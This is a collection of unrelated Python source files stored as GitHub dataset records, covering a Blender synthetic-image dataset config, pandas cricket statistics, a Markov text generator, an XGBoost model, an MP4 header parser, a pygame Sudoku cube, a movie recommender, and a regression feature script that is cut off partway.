pathlib\n\nfrom blenderline.collections import BackgroundCollection, HDRCollection, ItemCollection\nfrom blenderline.entries import BackgroundEntry, HDREntry, ItemEntry\nfrom blenderline.generators import ImageDatasetGenerator\nfrom blenderline.managers import (\n BackgroundManager,\n HDRManager,\n ItemManager,\n SceneManager,\n)\n\n\nclass ImageDatasetSettings:\n \"\"\"TODO\"\"\"\n\n def __init__(self, config: pathlib.Path, target: pathlib.Path) -> None:\n \"\"\"TODO\n\n Args:\n config (pathlib.Path): Absolute location of the configuration file.\n target (pathlib.Path): Absolute location of the directory where the dataset\n is generated.\n \"\"\"\n # Save base directory and load JSON config object.\n self.target = target\n with open(config, mode=\"rt\") as file:\n self.settings: dict = json.load(file)\n\n # Get configuration file directory.\n self.config_dir = config.parent\n\n def get(self, key: str, default=None):\n \"\"\"Get nested value from settings dictionary using dot notation to specify\n a path of keys to follow. E.g., \"scene.path\". Intermediate keys will return\n an empty dictionary of not present, so the function will always follow the\n entire key path.\n\n Args:\n key (str): dot-separated path of keys to follow\n default (_type_, optional): default value to return if key does not exist.\n Note that this is also triggered if an intermediary key is not present.\n Defaults to None.\n \"\"\"\n parts = key.split(\".\")\n\n # If only one key, perform normal dictionary get on settings dictionary.\n if len(parts) == 1:\n return self.settings.get(parts[0], default)\n # If two keys, get first key first with empty dictionary as default.\n elif len(parts) == 2:\n return self.settings.get(parts[0], {}).get(parts[1], default)\n # For more than three keys (n), get the first n-1 keys with an empty dictionary\n # as default value.\n else:\n current_dict = self.settings\n for part in parts[:-1]:\n current_dict = current_dict.get(part, {})\n return current_dict.get(parts[-1], default)\n\n def get_hdr_collection(self) -> HDRCollection:\n \"\"\"Create HDR collection from registered HDR backgrounds in settings.\n\n Returns:\n HDRCollection: collection of HDR backgrounds.\n \"\"\"\n hdr_collection = HDRCollection()\n\n # Get list of registered HDR dictionaries.\n hdrs: list[dict] = self.get(\"hdrs.entries\", [])\n\n for hdr in hdrs:\n # Validate registered HDR dict by checking for a relative filepath.\n if \"path\" not in hdr:\n raise Exception(\"Configure path to HDR asset\")\n\n # Build registered HDR object from dict and register it to the collection.\n hdr_collection.register(\n HDREntry(\n filepath=self.config_dir / hdr[\"path\"],\n relative_frequency=hdr.get(\"relative_frequency\", 1),\n )\n )\n\n return hdr_collection\n\n def get_background_collection(self) -> BackgroundCollection:\n \"\"\"Create background collection from registered backgrounds in settings.\n\n Returns:\n BackgroundCollection: collection of backgrounds.\n \"\"\"\n background_collection = BackgroundCollection()\n\n # Get list of registered background dictionaries.\n backgrounds: list[dict] = self.get(\"backgrounds.entries\", [])\n\n for background in backgrounds:\n # Validate registered HDR dict by checking for a relative filepath.\n if \"path\" not in background:\n raise Exception(\"Configure path to background asset\")\n\n # Build registered HDR object from dict and register it to the collection.\n background_collection.register(\n BackgroundEntry(\n filepath=self.config_dir / background[\"path\"],\n relative_frequency=background.get(\"relative_frequency\", 1),\n )\n )\n\n return background_collection\n\n def get_item_collection(self) -> ItemCollection:\n \"\"\"Create item collection from registered items in settings.\n\n Returns:\n ItemCollection: collection of items.\n \"\"\"\n item_collection = ItemCollection()\n\n # Get list of registered item dictionaries.\n items: list[dict] = self.get(\"items.entries\", [])\n\n for item in items:\n # Validate registered item dict by checking for a relative filepath, label,\n # object name and margin.\n if \"path\" not in item:\n raise Exception(\"Configure path to item asset\")\n if \"label\" not in item:\n raise Exception(\"Configure item label\")\n if \"label_name\" not in item:\n raise Exception(\"Configure item label name\")\n if \"object_name\" not in item:\n raise Exception(\"Configure name of object in .blend file\")\n if \"min_margin_distance\" not in item:\n raise Exception(\"Configure minimum distance to other items\")\n if \"max_lateral_distance\" not in item:\n raise Exception(\"Configure maximum distance from path center line\")\n\n # Build registered HDR object from dict and register it to the collection.\n item_collection.register(\n ItemEntry(\n filepath=self.config_dir / item[\"path\"],\n label=item[\"label\"],\n object_name=item[\"object_name\"],\n min_margin_distance=item[\"min_margin_distance\"],\n max_lateral_distance=item[\"max_lateral_distance\"],\n relative_frequency=item.get(\"relative_frequency\", 1),\n )\n )\n\n return item_collection\n\n def get_scene_manager(self) -> SceneManager:\n \"\"\"Create scene manager using parameters configured in settings.\n\n Returns:\n SceneManager: scene manager object.\n \"\"\"\n # Validate scene settings by checking for a relative filepath.\n if not self.get(\"scene.path\"):\n raise Exception(\"Configure path to scene asset\")\n\n # Return scene manager with specified parameters, falling back to defaults if not\n # specified.\n return SceneManager(\n filepath=self.config_dir / self.settings[\"scene\"][\"path\"],\n camera_object_name=self.get(\"scene.camera_object_name\", \"camera\"),\n render_samples=self.get(\"scene.render_samples\", 1024),\n render_use_cuda=self.get(\"scene.render_use_cuda\", False),\n render_denoising=self.get(\"scene.render_denoising\", True),\n render_resolution=self.get(\"scene.render_resolution\", [512, 512]),\n )\n\n def get_hdr_manager(self) -> HDRManager:\n \"\"\"Create HDR background manager using parameters configured in settings.\n\n Returns:\n HDRManager: HDR manager object.\n \"\"\"\n return HDRManager(hdr_collection=self.get_hdr_collection())\n\n def get_background_manager(self) -> BackgroundManager:\n \"\"\"Create background manager using parameters configured in settings.\n\n Returns:\n BackgroundManager: background manager object.\n \"\"\"\n return BackgroundManager(\n background_object_name=self.get(\n \"scene.background_object_name\", \"background\"\n ),\n background_collection=self.get_background_collection(),\n )\n\n def get_item_manager(self) -> ItemManager:\n \"\"\"Create item manager using parameters configured in settings.\n\n Returns:\n ItemManager: item manager object.\n \"\"\"\n return ItemManager(\n path_object_name=self.get(\"items.path_object_name\", \"path\"),\n spawn_probability=self.get(\"items.spawn_probability\", 0.5),\n max_tries=self.get(\"items.max_tries\", 3),\n max_items=self.get(\"items.max_items\", 5),\n item_collection=self.get_item_collection(),\n )\n\n def get_dataset_generator(self) -> ImageDatasetGenerator:\n \"\"\"Create image dataset generator using parameters configured in settings.\n\n Returns:\n ImageDatasetGenerator: dataste generator object.\n \"\"\"\n # Create object using settings.\n image_dataset_generator = ImageDatasetGenerator(\n name=self.get(\"dataset.name\", \"dataset\"),\n target=self.target,\n scene_manager=self.get_scene_manager(),\n hdr_manager=self.get_hdr_manager(),\n background_manager=self.get_background_manager(),\n item_manager=self.get_item_manager(),\n )\n\n # Register all splits.\n for split_dict in self.get(\"dataset.splits\", []):\n if \"name\" not in split_dict or \"size\" not in split_dict:\n raise Exception(\"Invalid split configured. Specify name and size keys\")\n\n image_dataset_generator.register_split(\n name=split_dict[\"name\"], size=split_dict[\"size\"]\n )\n\n # Register all labels.\n for item_dict in self.get(\"items.entries\", []):\n if \"label\" not in item_dict or \"label_name\" not in item_dict:\n raise Exception(\"Invalid item configured, Specify label and label name\")\n\n # Build registered HDR object from dict and register it to the collection.\n image_dataset_generator.register_label(\n label=item_dict[\"label\"], label_name=item_dict[\"label_name\"]\n )\n\n return image_dataset_generator\n","repo_name":"maxvandenhoven/blenderline","sub_path":"blenderline/settings/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":9806,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"72725753746","text":"import pandas as pd\n\n# 1 Total matches played per season\n\ndf = pd.read_csv('datasets/IPL Matches 2008-2020.csv')\ndf['year'] = pd.DatetimeIndex(df['date']).year\ndf.groupby('year')['year'].count()\n'''\noutput\nyear\n2008 58\n2009 57\n2010 60\n2011 73\n2012 74\n2013 76\n2014 60\n2015 59\n2016 60\n2017 59\n2018 60\n2019 60\n2020 60\n'''\n########################################################################\n\n# 2 Total runs scored per season\n\n########################################################################\n\n# 3 Toss winners of all matches in ascending order\n\ndf = pd.read_csv('datasets/IPL Matches 2008-2020.csv')\ndf.sort_values(by=['date'], ascending=True)\ndf['toss_winner']\n\n'''\noutput\n0 Royal Challengers Bangalore\n1 Chennai Super Kings\n2 Rajasthan Royals\n3 Mumbai Indians\n4 Deccan Chargers\n ... \n811 Mumbai Indians\n812 Delhi Capitals\n813 Sunrisers Hyderabad\n814 Delhi Capitals\n815 Delhi Capitals\n'''\n","repo_name":"FluffyDietEngine/team-challenges","sub_path":"22Dec2022/RutujaTikhile/matches.py","file_name":"matches.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36832705192","text":"import numpy as np\n#from future.utils import iteritems\nimport string\n\ninitial = {}\nsecond_word = {}\ntransitions = {}\n\n\ndef remove_punctuation(s):\n return s.translate(str.maketrans('', '', string.punctuation))\n\n\ndef add2dict(d, k, v):\n if k not in d:\n d[k] = []\n d[k].append(v)\n\n\nfor line in open('amlo.txt'):\n\n tokens = remove_punctuation(line.rstrip().lower()).split()\n\n T = len(tokens)\n for i in range(T):\n t = tokens[i]\n if i == 0:\n initial[t] = initial.get(t, 0) + 1\n else:\n t_1 = tokens[i - 1]\n if i == T - 1:\n add2dict(transitions, (t_1, t), 'END')\n if i == 1:\n add2dict(second_word, t_1, t)\n else:\n t_2 = tokens[i - 2]\n add2dict(transitions, (t_2, t_1), t)\n\n# Normalize the distributions\ninitial_total = sum(initial.values())\n\nfor t, c in iter(initial.items()):\n initial[t] = c / initial_total\n\n\ndef list2pdict(ts):\n\n d = {}\n n = len(ts)\n for t in ts:\n d[t] = d.get(t, 0) + 1\n for t, c in iter(d.items()):\n d[t] = c / n\n return d\n\n\nfor t_1, ts in iter(second_word.items()):\n # replace list with dictionary of probabilities\n second_word[t_1] = list2pdict(ts)\n\nfor k, ts in iter(transitions.items()):\n transitions[k] = list2pdict(ts)\n\n\ndef sample_word(d):\n p0 = np.random.random()\n cumulative = 0\n for t, p in d.items():\n cumulative += p\n if p0 < cumulative:\n return t\n assert(False)\n\n\ndef generate():\n for i in range(10):\n sentence = []\n\n w0 = sample_word(initial)\n sentence.append(w0)\n\n w1 = sample_word(second_word[w0])\n sentence.append(w1)\n\n while True:\n\n w2 = sample_word(transitions[(w0, w1)])\n if w2 == 'END':\n break\n sentence.append(w2)\n w0 = w1\n w1 = w2\n print(' '.join(sentence) + '\\n')\n\n\ngenerate()\n","repo_name":"cese04/hmm","sub_path":"frost.py","file_name":"frost.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32172360895","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug 17 08:45:23 2018\n\n@author: Franc\n\"\"\"\nimport pandas as pd\nimport numpy as np\nfrom steppy.base import BaseTransformer\nfrom steppy.utils import get_logger\nimport xgboost as xgb\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import roc_auc_score\n\nfrom update_data_info import cat_feature\nlogger = get_logger()\n\nclass XGBoost(BaseTransformer):\n def __init__(self, xgb_params):\n self.df = None\n self.params = xgb_params['params']\n self.nfold = xgb_params['nfold']\n self.seed = xgb_params['seed']\n self.eval_ratio = xgb_params['eval_ratio']\n self.test_ratio = xgb_params['test_ratio']\n self.num_boost_round = xgb_params['num_boost_round']\n self.learning_rates = xgb_params['params']['learning_rate']\n self.early_stopping_rounds = xgb_params['early_stopping_rounds']\n self.categorical_feature = cat_feature\n \n def cat_transform(self, df):\n df = pd.get_dummies(df, columns = self.categorical_feature,\n dtype='int64')\n return df\n \n def loglikelood(self, preds, train_data):\n labels = train_data.get_label()\n preds = 1. / (1. + np.exp(-preds))\n grad = preds - labels\n hess = preds * (1. - preds)\n return grad, hess\n \n def roc_auc_error(self, preds, train_data):\n labels = train_data.get_label()\n return 'error', 1 - roc_auc_score(labels, preds)\n \n def fit(self, df):\n df = pd.get_dummies(df, columns = self.categorical_feature,\n dtype='int64')\n feature_name = list(df.columns[2:])\n \n df_x, df_y = \\\n df.iloc[:,2:], df.TARGET\n \n x_train, x_test, y_train, y_test = \\\n train_test_split(df_x, df_y, \n test_size = self.test_ratio,\n random_state = self.seed)\n \n# x_train, x_eval, y_train, y_eval = \\\n# train_test_split(x_train_eval, y_train_eval, \n# test_size = self.eval_ratio,\n# random_state = self.seed)\n \n xgb_train = \\\n xgb.DMatrix(x_train.values, y_train.values, \n feature_names = feature_name)\n xgb_eval = \\\n xgb.DMatrix(x_test.values, y_test.values, \n feature_names = feature_name)\n \n self.estimator = \\\n xgb.train(params = self.params,\n dtrain = xgb_train,\n num_boost_round = self.num_boost_round,\n early_stopping_rounds = self.early_stopping_rounds,\n evals = [(xgb_eval,'valid'),(xgb_train,'train')],\n obj = self.loglikelood,\n feval = self.roc_auc_error)\n return self\n def cv(self, df):\n df = self.cat_transform(df)\n feature_name = list(df.columns[2:])\n \n df_x, df_y = \\\n df.iloc[:,2:], df.TARGET\n \n xgb_train = \\\n xgb.DMatrix(df_x.values, df_y.values, \n feature_names = feature_name)\n \n xgb_cv_hist = \\\n xgb.cv(params = self.params,\n nfold = self.nfold,\n dtrain = xgb_train,\n xgb_model = None,\n num_boost_round = self.num_boost_round,\n obj = self.loglikelood,\n feval = self.roc_auc_error,\n verbose_eval = True)\n return xgb_cv_hist\n \n def transform(self, x_test):\n xgb_test = xgb.DMatrix(x_test)\n prediction = self.estimator.predict(xgb_test)\n prediction = 1/(1+np.exp(-prediction))\n return {'prediction':prediction}\n \n \n ","repo_name":"Franciszz/Competitions","sub_path":"# Credit/code/model_xgb.py","file_name":"model_xgb.py","file_ext":"py","file_size_in_byte":4003,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"48"} +{"seq_id":"12447026674","text":"import unittest\nimport tarfile\nimport sys\nsys.path.insert(0, \"..\")\nfrom dkit.etl import reader, source\n\n\nclass TestTarReader(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n trfile = tarfile.open(\"input_files/input.tar.bz2\", \"w:bz2\")\n trfile.add(\"input_files/sample.csv\")\n trfile.add(\"input_files/sample.jsonl\")\n trfile.close()\n\n def test_csv(self):\n obj = reader.TarFileReader(\"input_files/input.tar.bz2\", r\".*\\.csv$\")\n src = list(source.CsvDictSource(obj))\n self.assertEqual(len(src[0]), 7)\n self.assertEqual(len(src), 500)\n\n def test_json(self):\n obj = reader.TarFileReader(\"input_files/input.tar.bz2\", r\".*\\.jsonl$\")\n src = list(source.JsonlSource(obj))\n self.assertEqual(len(src[0]), 7)\n self.assertEqual(len(src), 500)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"cobusn/dkit","sub_path":"test/test_tar_reader.py","file_name":"test_tar_reader.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41284058009","text":"import tkinter\n\n#Agregar un boton\nfrom tkinter import messagebox\n\ntop=tkinter.Tk()\ndef helloCallBack():\n messagebox.showinfo(\"Hello Python0\",\"Hello Word\")\n\n#Creando un boton en la ventana (Constructor)\nB=tkinter.Button(top,text=\"Hello\",command=helloCallBack)\n\n#Se pintara en la ventana\nB.pack()\n\n#Coordenadas\nB.place(x=35, y=50)\n\ntop.mainloop()\n\n","repo_name":"emilianoNM/Clase2018Tecnicas","sub_path":"Programas DV/Miprimerventana.py","file_name":"Miprimerventana.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"es","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"16938151063","text":"#!/usr/bin/python3\ndef element_at(my_list, idx):\n \"\"\"Return the index of a list at position idx\n\n >>> mylist = [0,1,2,3,4,5]\n >>> element_at(mylist, 3)\n 3\n \"\"\"\n if idx < len(my_list) and idx >= 0:\n return my_list[idx]\n\nif __name__=='__main__':\n import doctest\n doctest.testmod()\n","repo_name":"Sonlowami/alx-higher_level_programming","sub_path":"0x03-python-data_structures/1-element_at.py","file_name":"1-element_at.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42001311464","text":"#!/usr/bin/python3\n# -*- coding=utf-8 -*-\nr\"\"\"\n\nwarning: this is probably partially incomplete or incorrect\nimportant: no guaranty that this shit works.\n\nlinks:\n- https://web.archive.org/web/20180219054429/http://l.web.umkc.edu/lizhu/teaching/2016sp.video-communication/ref/mp4.pdf\n\"\"\"\nimport os\nimport struct\nimport typing as t\nfrom dataclasses import dataclass\n\n\nclass UnknownVideoFormat(Exception):\n pass\n\n\nHEADER_SIZE = 8\n\n\n@dataclass\nclass Box:\n name: str\n size: int\n\n\n@dataclass\nclass Moov:\n mvhd: t.Optional['Mvhd']\n traks: t.List['Trak']\n\n @classmethod\n def parse(cls, file: t.IO, box: Box):\n endpos = file.tell() + box.size - HEADER_SIZE\n mvhd: t.Optional['Mvhd'] = None\n traks: t.List['Trak'] = []\n while file.tell() < endpos:\n head = file.read(HEADER_SIZE)\n if not head:\n break\n size, = struct.unpack(\">I\", head[0:4])\n name, = struct.unpack(\"4s\", head[4:8])\n if name == b'mvhd':\n mvhd = Mvhd.parse(file, Box(name=name, size=size))\n elif name == b'trak':\n traks.append(Trak.parse(file, Box(name=name, size=size)))\n else:\n file.seek(file.tell() + size - HEADER_SIZE)\n return cls(mvhd=mvhd, traks=traks)\n\n\n@dataclass\nclass Mvhd:\n creation_time: int\n modification_time: int\n timescale: int\n duration: int\n rate: int\n volume: int\n\n @classmethod\n def parse(cls, file: t.IO, box: Box):\n chunk = file.read(box.size - HEADER_SIZE)\n version, = struct.unpack(\"b\", chunk[0:1])\n fmt = \">4xLLILIH\" if version else \">4xIIIIH2xH\"\n return cls(\n *struct.unpack(fmt, chunk[:struct.calcsize(fmt)])\n )\n\n\n@dataclass\nclass Trak:\n tkhd: t.Optional['Trhd']\n\n @classmethod\n def parse(cls, file: t.IO, box: Box):\n endpos = file.tell() + box.size - HEADER_SIZE\n tkhd: t.Optional['Trhd'] = None\n while file.tell() < endpos:\n head = file.read(HEADER_SIZE)\n if not head:\n break\n size, = struct.unpack(\">I\", head[0:4])\n name, = struct.unpack(\"4s\", head[4:8])\n if name == b'tkhd':\n tkhd = Trhd.parse(file, Box(name=name, size=size))\n else:\n file.seek(file.tell() + size - HEADER_SIZE)\n return cls(tkhd=tkhd)\n\n\n@dataclass\nclass Trhd:\n creation_time: int\n modification_time: int\n track_ID: int\n duration: int\n layer: int\n alternate_group: int\n volume: int\n width: int\n height: int\n\n @classmethod\n def parse(cls, file: t.IO, box: Box):\n chunk = file.read(box.size - HEADER_SIZE)\n version, = struct.unpack(\"b\", chunk[0:1])\n fmt = \">4xLLI4xL8xHHH2x36xH2xH2x\" if version else \">4xIII4xI8xHHH2x36xH2xH2x\"\n return cls(\n *struct.unpack(fmt, chunk[:struct.calcsize(fmt)]),\n )\n\n\n@dataclass\nclass VideoMeta:\n duration: t.Optional[float]\n size: t.Optional[t.Tuple[int, int]]\n\n\ndef get_video_meta(filename: str) -> VideoMeta:\n try:\n with open(filename, 'rb') as file:\n file.seek(0, os.SEEK_END)\n endpos = file.tell()\n file.seek(0)\n moov: t.Optional[Moov] = None\n while file.tell() < endpos:\n head = file.read(HEADER_SIZE)\n if not head:\n break\n size, = struct.unpack(\">I\", head[0:4])\n name, = struct.unpack(\"4s\", head[4:8])\n if not size:\n break\n if name == b'moov':\n moov = Moov.parse(file, Box(name=name, size=size))\n else:\n file.seek(file.tell() + size - HEADER_SIZE)\n if moov is None:\n raise UnknownVideoFormat(\"no movie-header found\")\n return VideoMeta(\n duration=moov.mvhd.duration / moov.mvhd.timescale,\n size=(moov.traks[0].tkhd.width, moov.traks[0].tkhd.height) if len(moov.traks) else None,\n )\n except struct.error:\n raise UnknownVideoFormat(\"bad file structure\")\n except Exception as exc:\n raise UnknownVideoFormat(f\"{exc.__class__.__name__}: {exc}\")\n","repo_name":"fileporter/fileporter","sub_path":"fossiles/video_duration.py","file_name":"video_duration.py","file_ext":"py","file_size_in_byte":4240,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"26647264835","text":"import pygame\nimport sys\nfrom constants import WIDTH, HEIGHT, CUBE_SIZE, GRAY, RED, BLACK, BLUE, WHITE, GREEN\n\nclass Cube:\n def __init__(self, screen, game_font, val, row, col, mutable=True):\n self.screen = screen\n self.game_font = game_font\n self.val = val\n self.temp_val = 0\n self.row = row\n self.col = col\n self.selected = False\n self.mutable = mutable\n\n def draw(self, color=None):\n x = self.row * CUBE_SIZE\n y = self.col * CUBE_SIZE\n\n if self.val == 0 and self.temp_val != 0:\n text = self.game_font.render(f\"{self.temp_val}\", True, GRAY)\n self.screen.blit(text, (x + 5, y + 5))\n\n elif self.val != 0:\n if color is None:\n color = BLUE if self.mutable else BLACK\n\n text = self.game_font.render(f\"{self.val}\", True, color)\n x_pos = x + (CUBE_SIZE // 2) - (text.get_width() // 2)\n y_pos = y + (CUBE_SIZE // 2) - (text.get_height() // 2)\n self.screen.blit(text, (x_pos, y_pos))\n\n \n # highlight the cube which is clicked\n if self.selected:\n pygame.draw.rect(self.screen, RED, (x, y, CUBE_SIZE, CUBE_SIZE), 3)\n\n def visualize_backtracking(self, color=GREEN):\n x = self.row * CUBE_SIZE\n y = self.col * CUBE_SIZE\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n # fill the cube with white bg\n pygame.draw.rect(self.screen, WHITE, (x, y, CUBE_SIZE, CUBE_SIZE), 0)\n\n text = self.game_font.render(f\"{self.val}\", True, color)\n x_pos = x + (CUBE_SIZE // 2) - (text.get_width() // 2)\n y_pos = y + (CUBE_SIZE // 2) - (text.get_height() // 2)\n self.screen.blit(text, (x_pos, y_pos))\n\n pygame.draw.rect(self.screen, color, (x, y, CUBE_SIZE, CUBE_SIZE), 3)\n\n\n\n def set_val(self, val):\n self.val = val\n\n def set_temp(self, val):\n self.temp_val = val\n","repo_name":"hello2arul/Sudoku","sub_path":"cube.py","file_name":"cube.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24700528123","text":"import numpy as np\nimport time\nimport matplotlib.pyplot as plt\n\nclass CollaborativeFiltering():\n\n def fit(self, Y, R, numOfFeatures = 10, alpha = 0.1, Lambda = 0, epsilon = 0.001, numOfIteration = 100):\n startTime = time.process_time()\n self.Y = Y\n self.R = R\n self.numOfFeatures = numOfFeatures\n self.alpha = alpha\n self.Lambda = Lambda\n self.epsilon = epsilon\n self.numOfIteration = numOfIteration\n self.numOfUsers = Y.shape[1]\n self.numOfMovies = Y.shape[0]\n self.X = np.random.rand(self.numOfMovies, self.numOfFeatures)\n self.Theta = np.random.rand(self.numOfUsers, self.numOfFeatures)\n self.costJHistory = list()\n\n self.normalize()\n\n OldJ = 0\n for i in range(self.numOfIteration):\n\n J, X_grad, Theta_grad = self.cofiCostFunction(self.X,self.Theta,self.Y,self.R,self.Lambda,self.numOfUsers,self.numOfMovies)\n\n if abs(OldJ - J) < self.epsilon and (OldJ - J) > 0:\n print('Cost changes Less than Epsilon %f \\nIteration %d | Cost: %f' % (self.epsilon, i, J))\n break\n elif (OldJ - J) < 0 and i != 0:\n print('Cost begins increasing from %f to %f \\nIteration %d | Cost: %f' % (OldJ, J, i, J))\n break\n else:\n self.costJHistory.append(J)\n OldJ = J\n self.Theta = self.Theta - self.alpha * Theta_grad\n self.X = self.X - self.alpha * X_grad\n\n\n if (i == numOfIteration):\n print('The number of iteration achieved the %d \\nIteration %d | Cost: %f' % (i, J))\n else:\n\n print('The number of iteration is %d | Cost: %f' % (i, J))\n\n endTime = time.process_time() - startTime\n print('\\nProcessing Time: %f' % endTime)\n\n def normalize(self):\n m,n = self.Y.shape\n self.YMean = np.zeros((m,1))\n self.YNorm = np.zeros_like(self.Y)\n\n for i in range(m):\n idx = np.where(self.R[i,:]==1)[0].tolist()\n # temp = self.Y[i, idx]\n self.YMean[i,0] = np.mean(self.Y[i, idx])\n self.YNorm[i,idx] = self.Y[i,idx] - self.YMean[i,0]\n\n self.Y = self.YNorm\n\n def cofiCostFunction(self, X, Theta, Y, R, Lambda, numOfUsers, numOfMovies):\n\n\n X_grad = np.zeros_like(X)\n Theta_grad = np.zeros_like(Theta)\n\n J = np.sum(np.sum((np.dot(X, Theta.T) - Y) ** 2 * R, axis = 1))/2 + Lambda/2 * np.sum(np.sum(Theta ** 2,axis =1))\\\n + Lambda/2 * np.sum(np.sum(X ** 2,axis =1))\n\n for i in range(numOfMovies):\n idx = np.where(R[i,:]==1)[0].tolist()\n ThetaTemp = Theta[idx,:].copy()\n YTemp = Y[i,idx].copy()\n X_grad[i,:] = np.dot((np.dot(X[i,:], ThetaTemp.T) - YTemp), ThetaTemp) + Lambda * X[i,:]\n\n for j in range(numOfUsers):\n idx = np.where(R[:,j]==1)[0].tolist()\n XTemp = X[idx,:].copy()\n YTemp = Y[idx,j].copy()\n Theta_grad[j,:] = np.dot((np.dot(XTemp, Theta[j,:].T) - YTemp).T, XTemp) + Lambda * Theta[j,:]\n\n return J, X_grad, Theta_grad\n\n\n\n\n\n# Test using dataset from the coursera machine learning exercise 8\n\nimport scipy.io as sio\n\ndataset = sio.loadmat('ex8_movies.mat')\nparameters = sio.loadmat('ex8_movieParams.mat')\n\n\nY = dataset['Y']\nR = dataset['R']\nX = parameters['X']\nTheta = parameters['Theta']\n\n# # using subset to test the algorithm whether working correctly\n# numOfUsers = parameters['num_users']\n# numOfMovies = parameters['num_movies']\n# numOfFeatures = parameters['num_features']\n#\n# numOfUsers = 4\n# numOfMovies = 5\n# numOfFeatures = 3\n#\n# YTrain = Y[:numOfMovies,:numOfUsers]\n# RTrain = R[:numOfMovies,:numOfUsers]\n#\n# XTrain = X[:numOfMovies,:numOfFeatures]\n# ThetaTrain = Theta[:numOfUsers,:numOfFeatures]\n#\n# cofi = CollaborativeFiltering()\n# J,X_grad,Theta_gras = cofi.cofiCostFunction(XTrain,ThetaTrain,YTrain,RTrain,1.5,numOfUsers,numOfMovies)\n# i = 1\n\n\n\nmyRatings = np.zeros((Y.shape[0],1))\nmyRatings[0] = 4;\n\n# Or suppose did not enjoy Silence of the Lambs (1991), you can set\nmyRatings[97] = 2;\n\n# We have selected a few movies we liked / did not like and the ratings we\n# gave are as follows:\nmyRatings[6] = 3;\nmyRatings[11]= 5;\nmyRatings[53] = 4;\nmyRatings[63]= 5;\nmyRatings[65]= 3;\nmyRatings[68] = 5;\nmyRatings[182] = 4;\nmyRatings[225] = 5;\nmyRatings[354]= 5;\n\nY = np.hstack((myRatings, Y))\n\nmyR = np.zeros((R.shape[0],1))\nmyR[np.where(myRatings != 0)[0].tolist(),0]=1\n\nR = np.hstack((myR, R))\n\n\n\ncofi = CollaborativeFiltering()\ncofi.fit(Y, R,numOfIteration=2000,alpha=0.002,Lambda=10,epsilon=0.05)\nTheta = cofi.Theta\nX = cofi.X\n\n\nmovieList = {}\nwith open('movie_ids_utf_8.txt','r') as f:\n for line in f:\n movieList[line.split(' ')[0]] = line.split(' ',maxsplit = 1)[1].strip()\n\np = np.dot(X, Theta.T)\n\nmyRecommendation = p[:,0][:,np.newaxis] + cofi.YMean\n\nmyRecomIdx = np.argsort(myRecommendation.reshape((myRecommendation.shape[0])))\n\nfor i in range(-1,-11,-1):\n j = myRecomIdx[i]\n print('Predicting rating %f for movie %s\\n'%(myRecommendation[j,0],movieList['%s'%(j+1)]))\n\n\n\n\n\n\n","repo_name":"danqhu/Machine-Learning-Algorithm","sub_path":"Collaborative-Filtering-For-Recommender-System/Collaboratice-Filtering.py","file_name":"Collaboratice-Filtering.py","file_ext":"py","file_size_in_byte":5149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33090877386","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom sklearn import preprocessing\nfrom sklearn.linear_model import LinearRegression, Ridge, Lasso\nfrom sklearn.model_selection import train_test_split, GridSearchCV\nfrom sklearn import metrics\n\n\n## Read training data\ntrain_data = pd.read_csv('datasets/train.csv', delimiter=',')\nX = train_data.iloc[:,2:]\ny = train_data.iloc[:,1]\n\n\n## Check data\nprint(\"\\n===== CHECK DATA =====\")\nprint(\"TRAIN DATA\")\nprint(train_data.head())\nprint(\"\\n\")\nprint(\"ORIGINAL FEATURES\")\nprint(X.head())\nprint(\"\\n\")\nprint(\"TARGET\")\nprint(y.head())\n\n\n## Make the new features\n# phi_j(x) = x_j\n\n# Linear features are already the x1, ..., x5\n\n# Quadratic features\nX[\"x6\"] = X[\"x1\"]**2\nX[\"x7\"] = X[\"x2\"]**2\nX[\"x8\"] = X[\"x3\"]**2\nX[\"x9\"] = X[\"x4\"]**2\nX[\"x10\"] = X[\"x5\"]**2\n\n# Exponential features\nX[\"x11\"] = np.exp(X[\"x1\"])\nX[\"x12\"] = np.exp(X[\"x2\"])\nX[\"x13\"] = np.exp(X[\"x3\"])\nX[\"x14\"] = np.exp(X[\"x4\"])\nX[\"x15\"] = np.exp(X[\"x5\"])\n\n# Cosine features\nX[\"x16\"] = np.cos(X[\"x1\"])\nX[\"x17\"] = np.cos(X[\"x2\"])\nX[\"x18\"] = np.cos(X[\"x3\"])\nX[\"x19\"] = np.cos(X[\"x4\"])\nX[\"x20\"] = np.cos(X[\"x5\"])\n\n# Constant\nX[\"x21\"] = 1\n\n# Check new features\nprint(\"NEW FEATURES\")\nprint(X.head())\n\n\n## By hand estimations\n# Split into train and test\nX_train, X_test, y_train, y_test = train_test_split(X, y, train_size=0.8)\n# Check training features\nprint(X_train.head())\n\n# Do not fit intercept as this is already taken care of by feature x21\nfit_intercept = False\n\nmodels = {\n \"LinearRegression\": LinearRegression(fit_intercept=fit_intercept),\n \"Ridge\": Ridge(alpha=0.5, max_iter=10000),\n \"Lasso\": 